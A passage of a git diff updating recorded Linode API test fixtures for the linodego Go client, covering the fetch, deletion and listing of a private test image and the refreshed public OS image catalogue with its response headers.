"2018-01-02T03:04:05", + "size": 0, "created_by": "youjungk01", "type": "manual", "tags": [], "is_public": + false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": + "pending_upload", "capabilities": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "373" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 17:08:52 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - images:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -76,13 +146,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/private%2F23851696 + url: https://api.linode.com/v4beta/images/private%2F25476392 method: GET response: - body: '{"id": "private/23851696", "label": "linodego-image-test", "description": + body: '{"id": "private/25476392", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false, - "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": + "size": 0, "created_by": "youjungk01", "type": "manual", "tags": [], "is_public": + false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": []}' headers: Access-Control-Allow-Credentials: @@ -100,13 +170,13 @@ interactions: Connection: - keep-alive Content-Length: - - "362" + - "373" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:14 GMT + - Fri, 31 May 2024 17:09:08 GMT Pragma: - no-cache Strict-Transport-Security: @@ -122,7 +192,77 @@ interactions: - DENY - DENY X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/images/private%2F25476392 + method: GET + response: + body: '{"id": "private/25476392", "label": "linodego-image-test", "description": + "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "size": 0, "created_by": "youjungk01", "type": "manual", "tags": [], "is_public": + false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": + "pending_upload", "capabilities": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "373" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 17:09:23 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - images:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -140,13 +280,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/private%2F23851696 + url: https://api.linode.com/v4beta/images/private%2F25476392 method: GET response: - body: '{"id": "private/23851696", "label": "linodego-image-test", "description": + body: '{"id": "private/25476392", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "size": 1, "created_by": "lgarber-dev", "type": "manual", "is_public": false, - "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": + "size": 1, "created_by": "youjungk01", "type": "manual", "tags": [], "is_public": + false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}' headers: Access-Control-Allow-Credentials: @@ -164,13 +304,13 @@ interactions: Connection: - keep-alive Content-Length: - - "357" + - "368" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:29 GMT + - Fri, 31 May 2024 17:09:38 GMT Pragma: - no-cache Strict-Transport-Security: @@ -186,7 +326,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -204,7 +347,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/private%2F23851696 + url: https://api.linode.com/v4beta/images/private%2F25476392 method: DELETE response: body: '{}' @@ -230,7 +373,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:29 GMT + - Fri, 31 May 2024 17:09:38 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +388,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestImages_List.yaml b/test/integration/fixtures/TestImages_List.yaml index 6a5b84adb..617fca5b5 100644 --- a/test/integration/fixtures/TestImages_List.yaml +++ b/test/integration/fixtures/TestImages_List.yaml @@ -14,184 +14,183 @@ interactions: url: https://api.linode.com/v4beta/images?page=1 method: GET response: - body: '{"pages": 1, "data": [{"id": "private/23849498", "label": "linode54973909 - - AlmaLinux 8 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 3719, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available", "capabilities": []}, {"id": "private/23849499", - "label": "linode54973867 - AlmaLinux 8 Disk", "description": "", "created": - "2018-01-02T03:04:05", "updated": null, "size": 3741, "created_by": null, "type": - "automatic", "is_public": false, "deprecated": false, "vendor": null, "expiry": - "2018-01-02T03:04:05", "eol": null, "status": "available", "capabilities": []}, - {"id": "private/23849731", "label": "test-image", "description": "", "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 358, "created_by": - "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": - null, "expiry": null, "eol": null, "status": "available", "capabilities": []}, - {"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": false, "size": - 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, - "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/alpine3.16", "label": "Alpine - 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": + body: '{"data": [{"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": + false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/almalinux9", "label": "AlmaLinux + 9", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/alpine3.17", "label": - "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18", - "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.19", - "label": "Alpine 3.19", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch", - "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol": - null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label": - "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8", - "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9", - "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10", - "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", + "tags": [], "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", + "label": "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/alpine3.17", "label": "Alpine 3.17", "deprecated": false, "size": + 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/alpine3.18", "label": "Alpine + 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/alpine3.19", "label": + "Alpine 3.19", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11", - "label": "Debian 11", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", + "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/arch", "label": "Arch Linux", "deprecated": false, "size": 1500, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Arch", "expiry": null, "eol": null, "status": "available", "capabilities": + []}, {"id": "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": + 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/centos-stream8", "label": "CentOS + Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "CentOS", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, + "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/debian10", "label": "Debian + 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/debian11", "label": + "Debian 11", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, + "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12", "label": "Debian 12", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/fedora38", "label": "Fedora 38", "deprecated": false, "size": - 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/fedora39", "label": "Fedora 39", "deprecated": false, "size": - 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": - 6500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo", - "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": - "linode/kali", "label": "Kali Linux", "deprecated": false, "size": 1536, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Kali", - "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": - "linode/debian11-kube-v1.26.1", "label": "Kubernetes 1.26.1 on Debian 11", "deprecated": - false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.12", "label": - "Kubernetes 1.26.12 on Debian 11", "deprecated": false, "size": 3500, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/debian11-kube-v1.26.3", "label": "Kubernetes 1.26.3 on Debian - 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": + "available", "capabilities": []}, {"id": "linode/fedora38", "label": "Fedora + 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.27.5", - "label": "Kubernetes 1.27.5 on Debian 11", "deprecated": false, "size": 3500, + "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/fedora39", "label": + "Fedora 39", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Fedora", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/fedora40", "label": "Fedora 40", "deprecated": false, "size": + 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": ["cloud-init"]}, {"id": "linode/gentoo", "label": + "Gentoo", "deprecated": false, "size": 6500, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Gentoo", "expiry": + null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/kali", + "label": "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Kali", "expiry": + null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.27.9", + "label": "Kubernetes 1.27.9 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/debian11-kube-v1.27.9", "label": "Kubernetes 1.27.9 on Debian - 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.28.3", - "label": "Kubernetes 1.28.3 on Debian 11", "deprecated": false, "size": 3500, + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12-kube-v1.27.9", + "label": "Kubernetes 1.27.9 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/opensuse15.5", "label": "openSUSE Leap 15.5", "deprecated": - false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/rocky8", "label": "Rocky Linux - 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.28.3", "label": + "Kubernetes 1.28.3 on Debian 11", "deprecated": false, "size": 3500, "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", + "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": + "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", + "capabilities": ["cloud-init"]}, {"id": "linode/debian12-kube-v1.28.3", "label": + "Kubernetes 1.28.3 on Debian 12", "deprecated": false, "size": 3500, "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", + "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": + "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", + "capabilities": []}, {"id": "linode/debian11-kube-v1.29.2", "label": "Kubernetes + 1.29.2 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, + {"id": "linode/debian12-kube-v1.29.2", "label": "Kubernetes 1.29.2 on Debian + 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/rocky9", "label": - "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware15.0", - "label": "Slackware 15.0", "deprecated": false, "size": 11000, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, - "eol": null, "status": "available", "capabilities": []}, {"id": "linode/ubuntu20.04", + "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/opensuse15.5", "label": + "openSUSE Leap 15.5", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "openSUSE", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": + 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", + "capabilities": []}, {"id": "linode/rocky9", "label": "Rocky Linux 9", "deprecated": + false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/slackware15.0", "label": "Slackware + 15.0", "deprecated": false, "size": 11000, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Slackware", "expiry": + null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, + "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu22.04", "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu23.04", "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.10", - "label": "Ubuntu 23.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/ubuntu23.10", "label": "Ubuntu 23.10", "deprecated": false, "size": + 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu24.04", "label": + "Ubuntu 24.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, + "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian9", "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/fedora37", "label": "Fedora 37", "deprecated": true, "size": - 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": - true, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/slackware14.1", "label": "Slackware - 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": - "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/slackware14.2", "label": - "Slackware 14.2", "deprecated": true, "size": 6000, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, - "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": - "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": true, "size": - 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": - true, "size": 